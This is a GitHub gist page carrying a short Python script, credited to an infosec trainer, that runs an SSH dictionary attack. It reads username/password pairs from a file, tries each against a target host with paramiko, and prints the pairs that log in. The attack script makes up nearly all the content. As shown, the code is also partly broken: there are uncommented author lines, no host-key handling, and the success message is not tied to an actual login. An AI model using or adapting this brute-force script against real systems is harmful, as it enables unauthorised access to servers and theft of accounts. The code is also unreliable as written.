Create a gist now

Instantly share code, notes, and snippets.

What would you like to do?
SSH Dictionary Attack using Usernames and Password Lists
#!/usr/bin/env python
Author: Vivek Ramachandran
Online Infosec Training:
import paramiko
import sys
def AttackSSH(ipAddress, dictionaryFile) :
print "[+] Attacking Host : %s " %ipAddress
ssh = paramiko.SSHClient()
for line in open(dictionaryFile, "r").readlines() :
[username, password] = line.strip().split()
try :
print "[+] Trying to break in with username: %s password: %s " % (username, password)
ssh.connect(ipAddress, username=username, password=password)
except paramiko.AuthenticationException:
print "[-] Failed! ..."
print "[+] Success ... username: %s and passoword %s is VALID! " % (username, password)
if __name__ == "__main__" :
AttackSSH(sys.argv[1], sys.argv[2])
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment